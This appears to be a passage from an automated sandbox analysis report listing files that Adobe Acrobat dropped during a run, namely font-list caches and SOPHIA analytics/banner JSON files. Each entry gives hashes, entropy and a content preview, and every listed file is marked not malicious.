SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7872

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7872

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356802856318879
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJM3g98kUwPeUkwRe9:YvXKXattwsdTeO+TS5GMbLUkee9
MD5:	A80166058C269BA3BE981189F5484E6A
SHA1:	A4D444BC4E8D843CA0C95A2C25B8C724A648FE5B
SHA-256:	B1476C479CDED167866735389C56C36B9488D0E7F2469693D60F080165B17399
SHA-512:	ACEBAD704CCDB0C8262E7607757125C404E0BE752FABF11A708B69BAFC6F2D19FC171BEE559029AD9D5FA788F63B9D38F0B4388CAFC99EF16188D45024B91441
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289566059121639
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfBoTfXpnrPeUkwRe9:YvXKXattwsdTeO+TS5GWTfXcUkee9
MD5:	EBE1F8233803E3573FF6BEEA45E12F02
SHA1:	1E230CD274EB0B3F9C5D61C7D7EC33D6F62EE435
SHA-256:	454A9AC7CE7D3016A990C59D0C270DCE7295D36209C790FFF3B1A5F28BE188BC
SHA-512:	275028251EDD054040775799A61C1BC1852BABBEB6C0E592701BB68961366B20F4F2ACED00FA603C22DA3985C1C3F9AD0BD9B51828A7C7331F49CBC7D0CEF593
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.267704973866906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXattwsdTeO+TS5GR22cUkee9
MD5:	E8FEDB1797C26D9AF6AFEF2F14BFBDE8
SHA1:	29E815F81B5450AB289575E887605ECFDED0B900
SHA-256:	0CD636F0EA8B0EF8A9DFF38200A6D51635AD9F8857ED08077D9BDBEA9B092293
SHA-512:	1E95AD8E79459EFC571F4E1C42833F7F5EA87FBB52121E9C9E59D87DE7918948D78FC01F9FB930B8508066B89D50191DD222C989987E30909E59639C07F7ECC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343450965438666
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfPmwrPeUkwRe9:YvXKXattwsdTeO+TS5GH56Ukee9
MD5:	BAF8E66D545DE336D51983992827569B
SHA1:	D6E1FF75F585F43C85A24601FBDD6ADFB07009B3
SHA-256:	19619AE1AB033F533674C9A43E2BF2722598F53F13BB02D2C9FFE426FAAB1DF0
SHA-512:	1900F8924208C02B3D9DB1872CF76AF3B05495DC046EEED2B7ECE59D69CC3B1A62B7D0D6C10B8D56BCF2FBAD26922BF35A75A90055BBC651012FDDE140288837
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683284156784496
Encrypted:	false
SSDEEP:	24:Yv6X1meO+TtpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvZe5thgy6SAFv5Ah8cv/2
MD5:	408A998EEA43BFBF87E990EEE2945954
SHA1:	EF3CCC4804D5217DB63EC29D58444E55FFAD0F39
SHA-256:	F697EEB634B975B622A53A38C47EE584C07DDE78DCB37E44308545254D9E91A7
SHA-512:	22E03110714E6D4708361CEC191215F7AB821B74F4397B13727C58D2CE35670376FE144F1CEEAD60D101CD11032B56300A48646B107BF95A2E513EF33CA476B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2759342828668
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJf8dPeUkwRe9:YvXKXattwsdTeO+TS5GU8Ukee9
MD5:	7528CB879F974CD3DD26D2FFE4AB1440
SHA1:	FF0E317D146BA6B7C06F50C31CD56E531FD3E8E4
SHA-256:	BFB7DF610D9ABDCD718A08C5F8ABA83BF82D28F9B12A0D12008341989FBBBEA5
SHA-512:	BA816D21C146B695C40279CEB168EB1CE32352C4A5975C907A0F027C7A46E112F70003B7952ABC8A227C58DE580DD0199B754A3DA27049F9EA202C117FCFA8F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280907754081763
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfQ1rPeUkwRe9:YvXKXattwsdTeO+TS5GY16Ukee9
MD5:	5829552453A1B2ECEF3A5C79EF32582D
SHA1:	85DA052EBED4C5FEA50DCEC200EEE924B81A84AF
SHA-256:	AD4B807CEE68185D79EF8A574DA2EB5B8B3877D83C68EC0C2DFDF1A6CC6F6012
SHA-512:	E5AAA44DDF77A700E51C6282D4A8AE7020F4E8F2BFFC261543D7BB300BA4DE72D557FF14F3EC1A8B8325594182BAC6EEE12650C0C17A57D71DD9401AD7D39BDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295014036117526
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfFldPeUkwRe9:YvXKXattwsdTeO+TS5Gz8Ukee9
MD5:	9F06EE64DE42C1931453CB74755C7BF1
SHA1:	99384F143EC36F2CD45EE7431D3A1CFED0B3A782
SHA-256:	39B4EF9848A2722982EB3589166B559DC212C0FE649E4E2C70B14104F6905813
SHA-512:	AB86298349FE4C6EC42BA73466F1BEE0C71198F2E59EE12B272CDF2CA7542C01446FF5A2BD017DB46FE8EDD2D160F0CC239B7E6AD9318E5660DF22EDD7DD7853
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302227041165964
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfzdPeUkwRe9:YvXKXattwsdTeO+TS5Gb8Ukee9
MD5:	629F7068372D1A2A39855ACEC202A2AF
SHA1:	1CDDD0AC37A67FF34F5575B197243122365EE58B
SHA-256:	7F606EEE7FDF90131A0AAA1CCE74447E3C7C69578DF38C7CADC75EA967964166
SHA-512:	2F1780CE736D98992BC916B061516D176D3882FD943DD566966BC14F5A9AA80D03137483504BB3977D4C9BB001F8DA2B4573C19015A48FB53C4FB5F9B4158701
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283305049605344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfYdPeUkwRe9:YvXKXattwsdTeO+TS5Gg8Ukee9
MD5:	285314B290499394F152BBE6B6727C44
SHA1:	01BD17C33454D71896985EF1B2D942DF5235D95C
SHA-256:	8E1A333C836EB03883D332FA8403AFCF676E398E026069E0982125FBD7A4BDBE
SHA-512:	5CB7066EB666575D9E546202827DC97541AB76C281AB904213341D19A8D9790D2A0BF552EFD1B297E59F1E204B26D76150F9727CFC3BE06C66E2E612FD16A905
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269360488172854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJf+dPeUkwRe9:YvXKXattwsdTeO+TS5G28Ukee9
MD5:	90E8159AB585FEEAF2FC02C33ECEBDE9
SHA1:	C9DA5ACCDCD7D833EF3FF3588FA1FD54F639C1BA
SHA-256:	012C8367B3F6D57FD1B0FE7D0D8FF74D8FF06E1A55BD41FC9CCAE4C0656EEFD1
SHA-512:	86D0CEF4001943D4203CDB8CC16683C32F1BE1E225F2FA7C69528EA47EADA6886D7A2BBA563420C108CF3C4720FE44CD351928DAEABA200ECDB3BC8A9A38BACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266966889206319
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfbPtdPeUkwRe9:YvXKXattwsdTeO+TS5GDV8Ukee9
MD5:	E0A74867A1793F1BB01DB900DAEDE3F6
SHA1:	E90D4CB4F23E8991605EFF718254190B2B9AA27E
SHA-256:	704D35F59C88B8869903FA44B269457EC5CF0DC543CB1F14E6648A8C11424C92
SHA-512:	FFB4F0FD2D97AA480D1B182055CCB5555570FE56D1B1D6ED4ADD9FCE5226E3AAC93F5CDEA6D0F599594A785DF38AEB18FB43E777EE21E4060E42B05AE7434D1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272227226885029
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJf21rPeUkwRe9:YvXKXattwsdTeO+TS5G+16Ukee9
MD5:	30B7A7C259621D26A0B638753013B027
SHA1:	D8F46D865B1B01D8AF618E5A0FB84719DC6CD8E5
SHA-256:	3E8DD83FC3C963FCD638AD23AC7747CF651CEE02654EB7BA1017D98D94D09A96
SHA-512:	D3F33DFAD45FDDFEB655D3FF51079BD170015CCC688AB8BEA10177FB60E1530DDFBE0BE4E9A104AEA478E9D160A36CB08836CB3E2FA5C520A3B6FEEFCDA23A37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656621458070848
Encrypted:	false
SSDEEP:	24:Yv6X1meO+TVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:YvZe5JBgkDMUJUAh8cvM2
MD5:	D10FE390B6488B7D4AD4F8AD958FDE9E
SHA1:	BE51EA44BF479CD32130997A11FBCEC373A18A6A
SHA-256:	D67426BD76755AC77024061C7F75F8ED82A63FD84147BCD08BC33C327FAFB5FE
SHA-512:	30BBA33F0298879EB470EFEA4951E55D653B5F8DEA0F4D862BFDC7F00249F98A02F6FB7D74533D279762A435448C29F9C1BFB406EFBED6EFAFC86EBC7FE12F79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 